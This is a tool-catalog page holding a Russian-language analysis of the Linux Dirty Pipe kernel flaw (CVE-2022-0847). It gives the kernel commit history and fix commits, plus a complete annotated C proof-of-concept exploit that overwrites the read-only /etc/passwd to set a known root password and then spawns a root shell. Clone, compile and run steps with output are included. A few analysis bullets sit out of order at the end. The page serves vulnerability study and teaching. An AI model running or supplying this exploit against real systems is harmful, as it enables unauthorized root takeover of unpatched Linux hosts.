Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-0847-DirtyPipe | Kitploit
Инструменты/GitHubGitHub/greetdawn/cve-2022-0847-dirtypipe
Повышение привилегийАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubgreetdawn/cve-2022-0847-dirtypipe

CVE-2022-0847-DirtyPipe

Репозиторий
14 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

title: CVE-2022-0847 (DirtyPipe локальное повышение привилегий) анализ уязвимости date: 2022-03-08 14:41:20 tags: - Повышение привилегий в Linux categories: - Исследование безопасности


Описание уязвимости

CVE-2022-0847 — это уязвимость в ядре Linux, начиная с версии 5.8. Используя её, атакующий может перезаписывать данные в любых файлах, доступных только для чтения. Это позволяет повысить обычные привилегии до root, поскольку непривилегированный процесс может внедрять код в процессы с root-правами.

CVE-2022-0847 похожа на CVE-2016-5195 «Dirty Cow» (повышение привилегий Dirty Cow) и легко эксплуатируется. Автор уязвимости назвал её Dirty Pipe.

Заявление о безопасности

Этот блог предназначен в основном для изучения и фиксации событий безопасности и статей об уязвимостях, для обмена знаниями и тестирования. Любые прямые или косвенные последствия и ущерб, вызванные распространением или использованием информации и инструментов из этого блога, являются ответственностью использующего; автор статей не несёт за это никакой ответственности.

Затронутые версии

Уровень опасности: высокий

POC/EXP: опубликован

Затронутые версии: ядро linux 5.8 и более поздние версии

Примечание: безопасные версии: ядро Linux >= 5.16.11, ядро Linux >= 5.15.25, ядро Linux >= 5.10.102

Анализ уязвимости

Здесь кратко опишем детали уязвимости.

Несколько понятий:

Linux pipe: полудуплексный, поток данных может идти только с одного конца на другой.

pipe_buffer: трубный кэш, используемый для временного хранения данных, записываемых в канал; чтение и запись выполняются в трубном кэше.

page: страница (page frame), 4 КБ, имеет взаимно однозначное соответствие с трубным кэшем.

pipe_buf_operations: хранит набор операций трубного кэша.

can_merge: флаг слияния. Если для общих операций чтения/записи канала задано слияние данных в существующий буфер, то значение равно 1. Если значение равно 0, то для новых данных всегда используется новый сегмент страницы канала.

splice(): перемещает данные между двумя файловыми дескрипторами; как и функция sendfile(), поддерживает zero-copy для каналов. Она связывает кэш страниц файла с трубным кэшем, то есть запись влияет на оба одновременно. При проверке прав проверяется только право на чтение файла-источника; при записи проверка прав не выполняется. Примерная цепочка вызовов:

root@kitploit:~
// fs/splice.c
syscall --> do_splice --> do_splice_to --> splice_read(generic_file_splice_read()) --> call_read_iter(generic_file_read_iter)
root@kitploit:~
// linux/mm/filemap.c
generic_file_read_iter --> filemap_read --> copy_folio_to_iter
root@kitploit:~
// linux/lib/iov_iter.c
copy_folio_to_iter --> __copy_folio_to_iter --> copy_page_to_iter_pipe

image-20220310151242149

История развития «слияния» в Linux-каналах:

Здесь кратко проанализируем код по описанию автора.

  1. В первоначальной системе Linux всё было так, как описано в концепции: существовал флаг can_merge, указывающий, можно ли записать новые данные в уже существующий трубный кэш.

  2. Commit 5274f052e7b3 добавил функцию splice(), но проверка не изменилась: по-прежнему используется флаг can_merge, чтобы определить, доступен ли текущий трубный кэш.

    image-20220310130856202

    image-20220310130701741

  3. Commit 01e7187b4119 перестал использовать флаг can_merge и вместо него стал сравнивать указатель struct pipe_buf_operations. Поскольку только тип anon_pipe_buf_ops разрешает запись новых данных, достаточно проверить, является ли буфер этим типом.

    image-20220310133214287

    image-20220310133251831

Поэтому у автора возникла следующая идея эксплуатации:

  1. Создать канал.
  2. Установить флаг PIPE_BUF_FLAG_CAN_MERGE в pipe_buffer.
  3. Очистить канал, затем добавить в него данные из целевого файла начиная с позиции перед целью. При этом splice связывает трубный кэш с кэшем страниц.
  4. Произвольно записать данные в канал. В этот момент write в конечном счёте вызывает copy_page_from_iter() для записи. Из-за флага PIPE_BUF_FLAG_CAN_MERGE запись выполняется напрямую.

Разбор эксплойта

root@kitploit:~
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();										// 创建p[0]和p[1]分别指向管道两端。前者读,后者写

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);    	    // 获取管道大小
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;      // 填充管道,顺便设置PIPE_BUF_FLAG_CAN_MERGE
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {						// 清空管道,但是保留标志位
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int main() {
	const char *const path = "/etc/passwd";								// 定义目标文件路径

        printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n");         // 创建/tmp/passwd.bak备份
        FILE *f1 = fopen("/etc/passwd", "r");
        FILE *f2 = fopen("/tmp/passwd.bak", "w");

        if (f1 == NULL) {											   // 判断文件读写是否正常打开
            printf("Failed to open /etc/passwd\n");
            exit(EXIT_FAILURE);
        } else if (f2 == NULL) {
            printf("Failed to open /tmp/passwd.bak\n");
            fclose(f1);
            exit(EXIT_FAILURE);
        }

        char c;
        while ((c = fgetc(f1)) != EOF)								    // 逐字节写入
            fputc(c, f2);

        fclose(f1);
        fclose(f2);

	loff_t offset = 4; // after the "root"                                // 定义偏移,即覆盖目标位置为root字段之后
	const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron 													 // 定义覆盖的数据
        printf("Setting root password to \"aaron\"...\n");
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {									  // 判断写入位置是否在页边界上
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;			// 定义当前页面结尾
	const loff_t end_offset = offset + (loff_t)data_size;				// 定义覆盖数据的结尾
	if (end_offset > next_page) {									  // 判断覆盖是否跨页
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)			// 打开只读目标文件
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;													// 定义st保存目标文件信息
	if (fstat(fd, &st)) {											 // 获取目标文件状态
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {										 // 判断偏移是否大于文件字节数
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {								      // 判断覆盖结尾是否大于文件字节数
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);                                                 // 创建管道,标志位设置为PIPE_BUF_FLAG_CAN_MERGE

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;													// 定位到偏移前1字节
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);          // 将该字节进行拼接发送到管道
	if (nbytes < 0) {											 // 判断是否移动成功,-1表示失败
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {											 // 0表示没有数据可以移动
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);						  // 覆盖数据写入管道
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \""
                "echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
                "cp /tmp/passwd.bak /etc/passwd;"
                "echo \\\"Done! Popping shell... (run commands now)\\\";"
                "/bin/sh;"
            "\" root"};
        execv("/bin/sh", argv);										// 开启root下shell

        printf("system() function call seems to have failed :(\n");
	return EXIT_SUCCESS;
}

Эксплуатация уязвимости

В качестве демонстрационной системы используется виртуальная машина kali.

Требование к целевой системе: достаточно наличия gcc.

  • Проверяем версию ядра текущей системы
root@kitploit:~
wzy@wzy:/tmp$ uname -a
Linux wzy 5.16.0-kali1-amd64 #1 SMP PREEMPT Debian 5.16.7-2kali1 (2022-02-10) x86_64 GNU/Linux
  • Скачиваем exp
root@kitploit:~
git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
  • Запуск эксплойта
root@kitploit:~
./compile.sh	# gcc编译

./exploit	    # 执行exp返回如下error信息
wzy@wzy:/tmp/CVE-2022-0847-DirtyPipe-Exploit$ ./exploit
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "aaron"...
system() function call seems to have failed :(

su root 
密码: aaron 

登录后极为root权限
  • Восстанавливаем файл passwd
root@kitploit:~
mv /tmp/passwd.bak /etc/passwd

Исправление уязвимости

Сначала исправлена настройка свойства merge.

image-20220310160200916

Затем добавлена инициализация флагов flags.

image-20220310160536267

image-20220310160703429

Примечание редактора

Выражаем огромную благодарность специалисту Psyduck за то, что он потратил ценное время и провёл анализ принципов работы exp, опубликованного автором уязвимости. Специалист сообщил, что также провёл соответствующую отладку на низком уровне локально, но явной цепочки вызовов данных пока нет; в настоящее время работа продолжается.

Ссылки

  • https://dirtypipe.cm4all.com/
  • https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit

Заявление о безопасности

Этот блог предназначен в основном для изучения и фиксации событий безопасности и статей об уязвимостях, для обмена знаниями и тестирования. Любые прямые или косвенные последствия и ущерб, вызванные распространением или использованием информации и инструментов из этого блога, являются ответственностью использующего; автор статей не несёт за это никакой ответственности.

Скачать инструмент
  • Commit 241699cd72a8 добавил две новые функции, которые могут выделять новый struct pipe_buf_operations, но при этом не инициализируют их флаги flags.

    image-20220310155046455

  • Commit f6dd975583bd преобразовал это сравнение указателей в сравнение флага PIPE_BUF_FLAG_CAN_MERGE для каждого буфера, а также позволил внедрять PIPE_BUF_FLAG_CAN_MERGE. Одновременно были удалены определения и использование других типов buf_ops.

    image-20220310134233873

    image-20220310134337376

    image-20220310142420972